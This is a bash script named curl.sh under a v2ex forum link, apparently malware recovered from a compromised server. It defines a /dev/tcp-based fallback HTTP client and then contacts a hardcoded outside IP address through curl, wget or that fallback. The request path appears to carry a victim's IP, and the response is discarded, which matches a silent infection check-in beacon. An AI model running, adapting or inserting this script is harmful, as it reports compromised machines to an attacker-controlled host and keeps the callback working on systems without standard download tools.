https://www.v2ex.com/t/811424

curl.sh

#!/bin/bash
function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

if [ -x "$(command -v curl)" ]; then
  curl -o /dev/null 212.147.32.35/gcae/101.37.78.108
elif [ -x "$(command -v wget)" ]; then
  wget -q -O- 212.147.32.35/gcae/101.37.78.108
else
  __curl http://212.147.32.35/gcae/101.37.78.108 >/dev/null
fi